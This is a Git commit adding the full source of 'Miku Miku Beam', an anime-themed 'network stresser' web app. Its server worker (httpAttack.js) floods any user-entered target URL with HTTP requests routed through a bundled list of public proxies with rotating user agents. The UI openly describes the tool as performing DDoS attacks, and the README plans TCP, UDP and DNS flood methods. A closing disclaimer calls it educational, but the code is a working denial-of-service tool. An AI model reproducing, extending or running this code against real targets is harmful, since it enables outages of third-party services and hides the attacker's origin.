feature: 🌱 initial commit

This commit is contained in:
Sammwy 2025-01-20 01:08:36 -03:00
commit 226d527b58
No known key found for this signature in database
GPG key ID: E6B924CEF399DE44
26 changed files with 859 additions and 0 deletions

24
.gitignore vendored Normal file
View file

@ -0,0 +1,24 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
lerna-debug.log*
node_modules
dist
dist-ssr
*.local
# Editor directories and files
.vscode/*
!.vscode/extensions.json
.idea
.DS_Store
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?

21
LICENSE Normal file
View file

@ -0,0 +1,21 @@
# MIT License
Copyright (c) 2025 Sammwy
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

129
README.md Normal file
View file

@ -0,0 +1,129 @@
# Miku Miku Beam 💥⚡ (Network Stresser)
A fun and visually appealing stress testing server with a **Miku-themed** frontend, where you can configure and run attacks while enjoying a banger song in the background! 🎤✨
## Features 🎉
- 🌐 **Real-time Attack Visualization**: View your attacks progress and statistics in real-time as it runs. 🔥
- 🎶 **Miku-themed UI**: A cute and vibrant design with Mikus vibe to make the process more fun. Includes a banger song to keep you pumped! 🎧
- 🧑‍💻 **Configurable Attack Parameters**: Easily set the attack method, packet size, duration, and packet delay via the frontend interface.
- 🛠️ **Worker-Based Attack Handling**: The server processes attacks in separate workers for optimal performance and scalability.
- 📊 **Live Stats**: Track the success and failure of each attack in real-time. See how many packets are sent and whether they succeed or fail.
- 🖼️ **Aesthetic Design**: A visually cute interface to make your experience enjoyable. 🌸
- 📡 **Attack Methods:**:
- `HTTP` - Send HTTP requests
## Setup 🛠️
### Prerequisites 📦
Make sure you have the following installed:
- Node.js (v14 or above) 🌱
- npm (Node Package Manager) 📦
### Installation 💻
1. Clone this repository:
```bash
git clone https://github.com/sammwyy/mikumikubeam.git
cd mikumikubeam
```
2. Install the required dependencies:
```bash
npm install
```
3. Create the necessary files:
- `proxies.txt` - List of proxies.
- `uas.txt` - List of user agents.
4. Run the server:
```bash
npm run dev
```
The server will run on port `3000` by default. 🌐
5. Open the frontend (usually accessible at `http://localhost:5173`), where you can configure and visualize your attacks.
## Usage ⚙️
Once the server is up and running, you can interact with it via the frontend:
1. **Start Attack**:
- Set up the attack parameters: target URL, attack method (HTTP, etc.), packet size, duration, and delay.
- Press "Start Attack" to initiate the stress test.
2. **Stop Attack**:
- Press "Stop Attack" to terminate the ongoing attack.
### Example Request
```json
{
"target": "http://example.com",
"attackMethod": "http",
"packetSize": 512,
"duration": 60,
"packetDelay": 500
}
```
## Worker-Based Attack Handling 🔧💡
Each attack type is handled in a separate worker thread, ensuring that the main server remains responsive. The attack workers are dynamically loaded based on the selected attack method (HTTP, etc...).
## To-Do 📝
- Add more attack methods:
- Minecraft 🎮
- TCP 💻
- UDP 🌐
- DNS 📡
- And more! 🔥
- Enhance attack statistics and reporting for better real-time monitoring. 📊
## Contributing 💖
Feel free to fork the repo and open pull requests with new attack protocols, bug fixes, or improvements. If you have an idea for a new feature, please share it! 😄
### Adding New Attack Methods ⚡
To extend the server with new attack methods (e.g., Minecraft, TCP, UDP, DNS), you can create new worker files and add them to the server configuration.
For example:
- Add a new attack method in the frontend settings.
- Create the corresponding worker file (e.g., `minecraftAttack.js`).
- Update the attack handler configuration to include the new method.
```javascript
const attackHandlers = {
http: "./workers/httpAttack.js",
minecraft: "./workers/minecraftAttack.js",
udp: "./workers/udpAttack.js",
tcp: "./workers/tcpAttack.js",
dns: "./workers/dnsAttack.js",
// Add more protocols as needed!
};
```
## License 📝
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
---
## Disclaimer 🚨
Please note that this project is for educational purposes only and should not be used for malicious purposes.
---
### (。♥‿♥。) Happy Hacking 💖🎶

BIN
bun.lockb Normal file

Binary file not shown.

1
data/.gitignore vendored Normal file
View file

@ -0,0 +1 @@
me_proxies.txt

10
data/proxies.txt Normal file
View file

@ -0,0 +1,10 @@
http://219.129.167.82:2222
http://165.232.129.150:80
http://103.86.109.38:80
http://8.219.97.248:80
http://103.49.202.252:80
socks4://199.58.184.97:4145
socks4://192.111.139.163:19404
socks4://199.187.210.54:4145
socks4://46.105.127.74:45108
socks4://98.188.47.150:4145

10
data/uas.txt Normal file
View file

@ -0,0 +1,10 @@
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.100 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/118.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.4 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:114.0) Gecko/20100101 Firefox/114.0
Mozilla/5.0 (Linux; Android 11; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 11; en-US; SM-G960F Build/RP1A.200720.012) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/91.0.4472.77 Mobile Safari/537.36
Mozilla/5.0 (iPad; CPU OS 15_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Mobile/15E148 Safari/604.1

28
eslint.config.js Normal file
View file

@ -0,0 +1,28 @@
import js from '@eslint/js';
import globals from 'globals';
import reactHooks from 'eslint-plugin-react-hooks';
import reactRefresh from 'eslint-plugin-react-refresh';
import tseslint from 'typescript-eslint';
export default tseslint.config(
{ ignores: ['dist'] },
{
extends: [js.configs.recommended, ...tseslint.configs.recommended],
files: ['**/*.{ts,tsx}'],
languageOptions: {
ecmaVersion: 2020,
globals: globals.browser,
},
plugins: {
'react-hooks': reactHooks,
'react-refresh': reactRefresh,
},
rules: {
...reactHooks.configs.recommended.rules,
'react-refresh/only-export-components': [
'warn',
{ allowConstantExport: true },
],
},
}
);

13
index.html Normal file
View file

@ -0,0 +1,13 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Miku Beam - Network Stresser</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>

40
package.json Normal file
View file

@ -0,0 +1,40 @@
{
"name": "miku-beam",
"private": true,
"version": "0.0.0",
"type": "module",
"scripts": {
"dev": "concurrently \"npm run dev:client\" \"npm run dev:server\"",
"dev:server": "node server/index.js",
"dev:client": "vite",
"build": "vite build",
"lint": "eslint .",
"preview": "vite preview"
},
"dependencies": {
"axios": "^1.7.9",
"express": "^4.18.3",
"lucide-react": "^0.344.0",
"react": "^18.3.1",
"react-dom": "^18.3.1",
"socket.io": "^4.7.4",
"socket.io-client": "^4.7.4"
},
"devDependencies": {
"@eslint/js": "^9.9.1",
"@types/react": "^18.3.5",
"@types/react-dom": "^18.3.0",
"@vitejs/plugin-react": "^4.3.1",
"autoprefixer": "^10.4.18",
"concurrently": "^8.2.2",
"eslint": "^9.9.1",
"eslint-plugin-react-hooks": "^5.1.0-rc.0",
"eslint-plugin-react-refresh": "^0.4.11",
"globals": "^15.9.0",
"postcss": "^8.4.35",
"tailwindcss": "^3.4.1",
"typescript": "^5.5.3",
"typescript-eslint": "^8.3.0",
"vite": "^5.4.2"
}
}

6
postcss.config.js Normal file
View file

@ -0,0 +1,6 @@
export default {
plugins: {
tailwindcss: {},
autoprefixer: {},
},
};

BIN
public/audio.mp3 Normal file

Binary file not shown.

BIN
public/miku.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 MiB

102
server/index.js Normal file
View file

@ -0,0 +1,102 @@
import express from "express";
import { createServer } from "http";
import { dirname, join } from "path";
import { Server } from "socket.io";
import { fileURLToPath } from "url";
import { Worker } from "worker_threads";
import { loadProxies, loadUserAgents } from "./utils/fileLoader.js";
import { filterProxies } from "./utils/proxyUtils.js";
// Define the workers based on attack type
const attackWorkers = {
http: "./workers/httpAttack.js",
};
const __filename = fileURLToPath(import.meta.url);
const __dirname = dirname(__filename);
const app = express();
const httpServer = createServer(app);
const io = new Server(httpServer, {
cors: {
origin: "http://localhost:5173",
methods: ["GET", "POST"],
},
});
const proxies = loadProxies(join(__dirname, "../data/proxies.txt"));
const userAgents = loadUserAgents(join(__dirname, "../data/uas.txt"));
console.log("Proxies loaded:", proxies.length);
console.log("User agents loaded:", userAgents.length);
io.on("connection", (socket) => {
console.log("Client connected");
socket.emit("stats", {
pps: 0,
bots: proxies.length,
totalPackets: 0,
log: "🍤 Connected to the server.",
});
socket.on("startAttack", (params) => {
const { target, duration, packetDelay, attackMethod } = params;
const filteredProxies = filterProxies(proxies, attackMethod);
const attackWorkerFile = attackWorkers[attackMethod];
if (!attackWorkerFile) {
socket.emit("stats", {
log: `❌ Unsupported attack type: ${attackMethod}`,
});
return;
}
socket.emit("stats", {
log: `🍒 Using ${filteredProxies.length} filtered proxies to perform attack.`,
bots: filteredProxies.length,
});
const worker = new Worker(join(__dirname, attackWorkerFile), {
workerData: {
target,
proxies: filteredProxies,
userAgents,
duration,
packetDelay,
},
});
worker.on("message", (message) => socket.emit("stats", message));
worker.on("error", (error) => {
console.error(`Worker error: ${error.message}`);
socket.emit("stats", { log: `❌ Worker error: ${error.message}` });
});
worker.on("exit", (code) => {
console.log(`Worker exited with code ${code}`);
socket.emit("attackEnd");
});
socket.worker = worker;
});
socket.on("stopAttack", () => {
if (socket.worker) {
socket.worker.terminate();
socket.emit("attackEnd");
}
});
socket.on("disconnect", () => {
if (socket.worker) {
socket.worker.terminate();
}
console.log("Client disconnected");
});
});
const PORT = 3000;
httpServer.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
});

View file

@ -0,0 +1,34 @@
import fs from "fs";
import { join } from "path";
const currentPath = () => {
const path = process.cwd();
return path === "/" ? "." : path;
};
const loadFileLines = (filePath) => {
try {
return fs
.readFileSync(filePath, "utf8")
.split("\n")
.map((line) => line.trim())
.filter(Boolean)
.filter((line) => !line.startsWith("#"));
} catch (err) {
console.error(`Error reading ${filePath}:`, err);
return [];
}
};
export function loadUserAgents() {
return loadFileLines(join(currentPath(), "data/uas.txt"));
}
export function loadProxies() {
const lines = loadFileLines(join(currentPath(), "data/proxies.txt"));
return lines.map((line) => {
const [protocol, addr] = line.split("://");
const [host, port] = addr.split(":");
return { protocol, host, port };
});
}

View file

@ -0,0 +1,9 @@
const METHODS = {
http: ["http", "https"],
tcp: ["socks4", "socks5"],
udp: ["socks4", "socks5"],
};
export function filterProxies(proxies, method) {
return proxies.filter((proxy) => METHODS[method].includes(proxy.protocol));
}

View file

@ -0,0 +1,49 @@
import axios from "axios";
import { parentPort, workerData } from "worker_threads";
const startAttack = () => {
const { target, proxies, userAgents, duration, packetDelay } = workerData;
let fixedTarget = target.startsWith("http") ? target : `http://${target}`;
let totalPackets = 0;
const startTime = Date.now();
const sendRequest = async (proxy, userAgent) => {
try {
await axios.get(fixedTarget, {
proxy: { host: proxy.host, port: proxy.port },
headers: { "User-Agent": userAgent },
timeout: 2000,
});
totalPackets++;
parentPort.postMessage({
log: `✅ Request successful from ${proxy.host}:${proxy.port} to ${fixedTarget}`,
totalPackets,
});
} catch (error) {
parentPort.postMessage({
log: `❌ Request failed from ${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`,
totalPackets,
});
}
};
const interval = setInterval(() => {
const elapsedTime = (Date.now() - startTime) / 1000;
if (elapsedTime >= duration) {
clearInterval(interval);
parentPort.postMessage({ log: "Attack finished", totalPackets });
process.exit(0);
}
const proxy = proxies[Math.floor(Math.random() * proxies.length)];
const userAgent = userAgents[Math.floor(Math.random() * userAgents.length)];
sendRequest(proxy, userAgent);
}, packetDelay);
};
if (workerData) {
startAttack();
}

298
src/App.tsx Normal file
View file

@ -0,0 +1,298 @@
import { Bot, Wand2, Wifi, Zap } from "lucide-react";
import { useEffect, useRef, useState } from "react";
import { io } from "socket.io-client";
const socket = io("http://localhost:3000");
function App() {
const [isAttacking, setIsAttacking] = useState(false);
const [logs, setLogs] = useState<string[]>([]);
const [progress, setProgress] = useState(0);
const [target, setTarget] = useState("");
const [attackMethod, setAttackMethod] = useState("http");
const [packetSize, setPacketSize] = useState(64);
const [duration, setDuration] = useState(60);
const [packetDelay, setPacketDelay] = useState(100);
const [stats, setStats] = useState({
pps: 0,
bots: 0,
totalPackets: 0,
});
const [lastUpdatedPPS, setLastUpdatedPPS] = useState(Date.now());
const [lastTotalPackets, setLastTotalPackets] = useState(0);
const audioRef = useRef<HTMLAudioElement>(null);
useEffect(() => {
const now = Date.now();
if (now - lastUpdatedPPS >= 500) {
setLastUpdatedPPS(now);
setStats((old) => ({
pps: (old.totalPackets - lastTotalPackets) / (now - lastUpdatedPPS),
bots: old.bots,
totalPackets: old.totalPackets,
}));
setLastTotalPackets(stats.totalPackets);
}
}, [lastUpdatedPPS, lastTotalPackets, stats.totalPackets]);
useEffect(() => {
socket.on("stats", (data) => {
setStats((old) => ({
pps: data.pps || old.pps,
bots: data.bots || old.bots,
totalPackets: data.totalPackets || old.totalPackets,
}));
if (data.log) addLog(data.log);
setProgress((prev) => (prev + 10) % 100);
});
socket.on("attackEnd", () => {
setIsAttacking(false);
});
return () => {
socket.off("stats");
socket.off("attackEnd");
};
}, []);
const addLog = (message: string) => {
setLogs((prev) => [message, ...prev].slice(0, 12));
};
const startAttack = () => {
if (!target.trim()) {
alert("Please enter a target!");
return;
}
setIsAttacking(true);
setStats((old) => ({
pps: 0,
bots: old.bots,
totalPackets: 0,
}));
addLog("🍮 Preparing attack...");
// Play audio
if (audioRef.current) {
audioRef.current.currentTime = 0;
audioRef.current.play();
}
// Start attack after audio intro
setTimeout(() => {
socket.emit("startAttack", {
target,
packetSize,
duration,
packetDelay,
attackMethod,
});
}, 10000);
};
const stopAttack = () => {
socket.emit("stopAttack");
setIsAttacking(false);
};
return (
<div className="min-h-screen bg-gradient-to-br from-pink-100 to-blue-100 p-8">
<audio ref={audioRef} src="/audio.mp3" />
<div className="max-w-2xl mx-auto space-y-8">
<div className="text-center">
<h1 className="text-4xl font-bold text-pink-500 mb-2">
Miku Miku Beam
</h1>
<p className="text-gray-600">
Because DDoS attacks are also cute and even more so when Miku does
them.
</p>
</div>
<div className="bg-white rounded-lg shadow-xl p-6 relative overflow-hidden">
{/* Miku GIF */}
<div
className="flex justify-center mb-6 h-48 w-full"
style={{
backgroundImage: "url('/miku.gif')",
backgroundRepeat: "no-repeat",
backgroundPosition: "center",
backgroundSize: "cover",
}}
></div>
{/* Attack Configuration */}
<div className="mb-6 space-y-4">
<div className="grid grid-cols-2 gap-4">
<input
type="text"
value={target}
onChange={(e) => setTarget(e.target.value)}
placeholder="Enter target URL or IP"
className="px-4 py-2 rounded-lg border border-pink-200 focus:border-pink-500 focus:ring-2 focus:ring-pink-200 outline-none"
disabled={isAttacking}
/>
<button
onClick={isAttacking ? stopAttack : startAttack}
className={`
px-8 py-2 rounded-lg font-semibold text-white transition-all
${
isAttacking
? "bg-red-500 hover:bg-red-600"
: "bg-pink-500 hover:bg-pink-600"
}
flex items-center justify-center gap-2
`}
>
<Wand2 className="w-5 h-5" />
{isAttacking ? "Stop Beam" : "Start Miku Beam"}
</button>
</div>
<div className="grid grid-cols-4 gap-4">
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Attack Method
</label>
<select
value={attackMethod}
onChange={(e) => setAttackMethod(e.target.value)}
className="w-full px-4 py-2 rounded-lg border border-pink-200 focus:border-pink-500 focus:ring-2 focus:ring-pink-200 outline-none"
disabled={isAttacking}
>
<option value="http">HTTP</option>
<option value="tcp">TCP</option>
<option value="udp">UDP</option>
</select>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Packet Size (kb)
</label>
<input
type="number"
value={packetSize}
onChange={(e) => setPacketSize(Number(e.target.value))}
className="w-full px-4 py-2 rounded-lg border border-pink-200 focus:border-pink-500 focus:ring-2 focus:ring-pink-200 outline-none"
disabled={isAttacking}
min="1"
max="1500"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Duration (seconds)
</label>
<input
type="number"
value={duration}
onChange={(e) => setDuration(Number(e.target.value))}
className="w-full px-4 py-2 rounded-lg border border-pink-200 focus:border-pink-500 focus:ring-2 focus:ring-pink-200 outline-none"
disabled={isAttacking}
min="1"
max="300"
/>
</div>
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Packet Delay (ms)
</label>
<input
type="number"
value={packetDelay}
onChange={(e) => setPacketDelay(Number(e.target.value))}
className="w-full px-4 py-2 rounded-lg border border-pink-200 focus:border-pink-500 focus:ring-2 focus:ring-pink-200 outline-none"
disabled={isAttacking}
min="1"
max="1000"
/>
</div>
</div>
</div>
{/* Stats Widgets */}
<div className="grid grid-cols-3 gap-4 mb-6">
<div className="bg-gradient-to-br from-pink-500/10 to-blue-500/10 p-4 rounded-lg">
<div className="flex items-center gap-2 text-pink-600 mb-2">
<Zap className="w-4 h-4" />
<span className="font-semibold">Packets/sec</span>
</div>
<div className="text-2xl font-bold text-gray-800">
{stats.pps.toLocaleString()}
</div>
</div>
<div className="bg-gradient-to-br from-pink-500/10 to-blue-500/10 p-4 rounded-lg">
<div className="flex items-center gap-2 text-pink-600 mb-2">
<Bot className="w-4 h-4" />
<span className="font-semibold">Active Bots</span>
</div>
<div className="text-2xl font-bold text-gray-800">
{stats.bots.toLocaleString()}
</div>
</div>
<div className="bg-gradient-to-br from-pink-500/10 to-blue-500/10 p-4 rounded-lg">
<div className="flex items-center gap-2 text-pink-600 mb-2">
<Wifi className="w-4 h-4" />
<span className="font-semibold">Total Packets</span>
</div>
<div className="text-2xl font-bold text-gray-800">
{stats.totalPackets.toLocaleString()}
</div>
</div>
</div>
{/* Progress Bar */}
<div className="bg-gray-200 rounded-full h-4 mb-6 overflow-hidden">
<div
className="h-full bg-gradient-to-r from-pink-500 to-blue-500 transition-all duration-500"
style={{ width: `${progress}%` }}
/>
</div>
{/* Logs Section */}
<div className="bg-gray-900 rounded-lg p-4 font-mono text-sm">
<div className="text-green-400">
{logs.map((log, index) => (
<div key={index} className="py-1">
{`> ${log}`}
</div>
))}
{logs.length === 0 && (
<div className="text-gray-500 italic">
{">"} Waiting for Miku's power...
</div>
)}
</div>
</div>
{/* Cute Animation Overlay */}
{isAttacking && (
<div className="absolute inset-0 pointer-events-none">
<div className="absolute inset-0 bg-gradient-to-r from-pink-500/10 to-blue-500/10 animate-pulse" />
<div className="absolute top-0 left-1/2 -translate-x-1/2">
<div className="w-2 h-2 bg-pink-500 rounded-full animate-bounce" />
</div>
</div>
)}
</div>
<div className="text-center text-sm text-gray-500">
🎵 v1.0 made by{" "}
<a
href="https://github.com/sammwyy/mikumikubeam"
target="_blank"
rel="noreferrer"
>
@Sammwy
</a>{" "}
🎵
</div>
</div>
</div>
);
}
export default App;

3
src/index.css Normal file
View file

@ -0,0 +1,3 @@
@tailwind base;
@tailwind components;
@tailwind utilities;

10
src/main.tsx Normal file
View file

@ -0,0 +1,10 @@
import { StrictMode } from 'react';
import { createRoot } from 'react-dom/client';
import App from './App.tsx';
import './index.css';
createRoot(document.getElementById('root')!).render(
<StrictMode>
<App />
</StrictMode>
);

1
src/vite-env.d.ts vendored Normal file
View file

@ -0,0 +1 @@
/// <reference types="vite/client" />

8
tailwind.config.js Normal file
View file

@ -0,0 +1,8 @@
/** @type {import('tailwindcss').Config} */
export default {
content: ['./index.html', './src/**/*.{js,ts,jsx,tsx}'],
theme: {
extend: {},
},
plugins: [],
};

24
tsconfig.app.json Normal file
View file

@ -0,0 +1,24 @@
{
"compilerOptions": {
"target": "ES2020",
"useDefineForClassFields": true,
"lib": ["ES2020", "DOM", "DOM.Iterable"],
"module": "ESNext",
"skipLibCheck": true,
/* Bundler mode */
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"isolatedModules": true,
"moduleDetection": "force",
"noEmit": true,
"jsx": "react-jsx",
/* Linting */
"strict": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"noFallthroughCasesInSwitch": true
},
"include": ["src"]
}

7
tsconfig.json Normal file
View file

@ -0,0 +1,7 @@
{
"files": [],
"references": [
{ "path": "./tsconfig.app.json" },
{ "path": "./tsconfig.node.json" }
]
}

22
tsconfig.node.json Normal file
View file

@ -0,0 +1,22 @@
{
"compilerOptions": {
"target": "ES2022",
"lib": ["ES2023"],
"module": "ESNext",
"skipLibCheck": true,
/* Bundler mode */
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"isolatedModules": true,
"moduleDetection": "force",
"noEmit": true,
/* Linting */
"strict": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"noFallthroughCasesInSwitch": true
},
"include": ["vite.config.ts"]
}

10
vite.config.ts Normal file
View file

@ -0,0 +1,10 @@
import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';
// https://vitejs.dev/config/
export default defineConfig({
plugins: [react()],
optimizeDeps: {
exclude: ['lucide-react'],
},
});